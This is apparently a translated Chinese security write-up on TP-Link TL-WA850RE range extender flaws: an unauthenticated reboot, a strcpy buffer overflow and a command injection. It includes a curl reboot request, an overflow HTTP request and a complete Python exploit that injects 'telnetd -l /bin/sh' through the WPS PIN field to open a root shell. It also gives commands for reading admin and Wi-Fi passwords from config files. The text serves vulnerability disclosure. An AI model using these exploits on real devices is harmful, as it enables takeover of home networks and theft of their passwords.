前言

本文介绍了TP-Link的TL-WA850RE无线扩展器上的多个漏洞和一个允许在TL-WA850RE上执行远程命令0day漏洞的PoC。

介绍

TP-Link的TL-WA850RE 无线扩展器是一种流行的家庭网络设备。它可以通过充当扩展器或接入点来工作。当作为扩展器时,设备需要为要扩展的无线网络设置密码,以及设置设备的管理密码。设备和浏览器之间的整个通信使用的HTTP协议是不安全的,甚至连自签名证书都没有使用。

设备

TL-WA850RE无线扩展器允许固件更新。可以很容易地使用binwald提取固件,找到一个嵌入式Linux busybox。

binwalk -e 850rev5-up-ver1-0-0-P1[20180228-rel38383].bin 

有调查说明网络上一个经过hash的密码很容易被破解为“sohoadmin”。但是,远程SSH登录是禁用的。

进一步挖掘,我们在/etc/rc.d/rcS发现一个HTTP daemon(Httpd) 。

rc.init中启动的其他进程

通过快速分析,我们发现目标二进制文件是httpd。

反编译httpd

httpd是一个MIPS 32二进制文件,可以使用IDA对其进行反编译,了解它的内部工作原理。

HTTP daemon是一个复杂的进程,因此我们需要一个策略来快速了解它是如何工作的。通过将数据发布和读取到.json端点,我们可以找到初始化设备端点的函数,从而发现Web应用程序的工作原理。

调用httpRpmConfAddAndRegisterFile函数将每个端点(参见下面/fs/data/reboot.json)与一个函数(sub_424470)关联起来

让我们继续分析二进制文件上的公共漏洞,并尝试查找0day。

DoS-未经身份验证的远程重启

根据Wadeek的报告,可以不受任何限制或身份验证重启设备。

PoC

curl --silent 'http://[IP]/data/reboot.json' -H 'Host: [IP]' -H 'Accept: application/json, text/javascript, */*;' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: COOKIE=' -H 'Connection: keep-alive' --data 'operation=write' 

从上一节我们知道,SUB_424470是在端点 data/reboot.json上执行的。通过检查函数,我们证实了确实没有执行身份授权或验证。

需要身份验证的功能是通过调用函数wmAuthIsClientAuthencated实现的,如下所示

远不止这么简单

一个众所周知的导致缓冲区溢出的不安全的编码反模式是在没有任何长度检查的情况下将用户控制的输入传给strcpy。有报告介绍了来自tp-link开发人员的这种反模式。

几分钟后,第一个这样的漏洞出现了。

在 /data/syslog.filter.json中,“type”参数从httpGetEnv环境中读取,并在没有长度检查的情况下传入strcpy。

如果我们在进行身份验证时溢出类型参数,设备将崩溃。

POST /data/syslog.filter.json HTTP/1.1 Host: 192.168.1.10 User-Agent: Mozilla Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.10/ Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 2742 Cookie: COOKIE=1501a8c000017506 Connection: close
operation=write&type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&level=ALL 

在研究如何进一步利用此漏洞来获得RCE之前,我们在/data/wps.setup.json中找到了另一个同类漏洞。

不过,这次我们非常幸运地发现,用户控制的输入被传输到在设备上执行的命令中。

我们有一个命令注入0day漏洞。考虑到与设备的所有通信都以明文传输很可能被截获,所以利用这个漏洞进行攻击并不难,可能会重新启动设备直到用户登录后验证配置。

在网上的快速搜索显示,可以将telnetd -l/bin/sh 注入到busybox中,获得对设备的完全控制。

获取所有密码

在设备中获得根shell之后,我们可以进一步获得明文形式的所有密码。

  • cat /config/account.config将显示设备的管理密码md5
  • cat/config/wifi.config将以明文显示设备的网络密码以及扩展网络密码、白名单、黑名单、Mac等

PoC

#!/usr/bin/env python # Exploit Title: TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Command Execution # Date: 19/06/2018 # Exploit Author: yoresongo - Advisability S.A.S Colombia (www.advisability.co) # Vendor Homepage: https://www.tp-link.com/ # Firmware Link: https://www.tp-link.com/en/download/TL-WA850RE.html  # Tested on: Firmware Version TL-WA850RE_V5_180228 # Contact: yoresongo [at] advisability.co 
import argparse
import requests
import hashlib
import telnetlib
parser = argparse.ArgumentParser(
    description="Exploits TP-LINK WA850RE Command injection" )
parser.add_argument("host", help="Host to attack.", type=str)
parser.add_argument("password", help="Extender's Password", type=str)
parser.add_argument( "-C", "--cookie", help="Cookie id value.", type=str, default="1301a8c000c4c505" )
args = parser.parse_args()
HOST = args.host
PASSWORD = args.password
COOKIE = args.cookie
cookies = {"gsScrollPos-8016": "0", "COOKIE": COOKIE}
headers = { "Origin": "http://%s/" % HOST, "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9,es;q=0.8", "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Accept": "application/json, text/javascript, */*; q=0.01", "Referer": "http://%s/" % HOST, "X-Requested-With": "XMLHttpRequest", "Connection": "keep-alive", "DNT": "1",
}
password = hashlib.md5(PASSWORD.encode("utf-8")).hexdigest().upper()
encoded = "%s:%s" % (password, COOKIE)
encoded = hashlib.md5(encoded.encode("utf-8")).hexdigest().upper()
data = [("operation", "login"), ("encoded", encoded), ("nonce", COOKIE)] # Payload data_inject = [
    ("operation", "write"),
    ("option", "connect"),
    ("wps_setup_pin", "11480723;telnetd -l /bin/sh"),
]
with requests.Session() as s:
    response = s.post( "http://%s/data/login.json" % HOST, headers=headers, cookies=cookies, data=data
    )
    print(response.text) # An authorised request. r = s.get("http://%s" % HOST, headers=headers, cookies=cookies) # print (r.text) r = s.post( "http://%s/data/wps.setup.json" % HOST,
        headers=headers,
        cookies=cookies,
        data=data_inject,
    )
tn = telnetlib.Telnet(HOST)
tn.interact() 

利用链接:

审核人:yiwang   编辑:少爷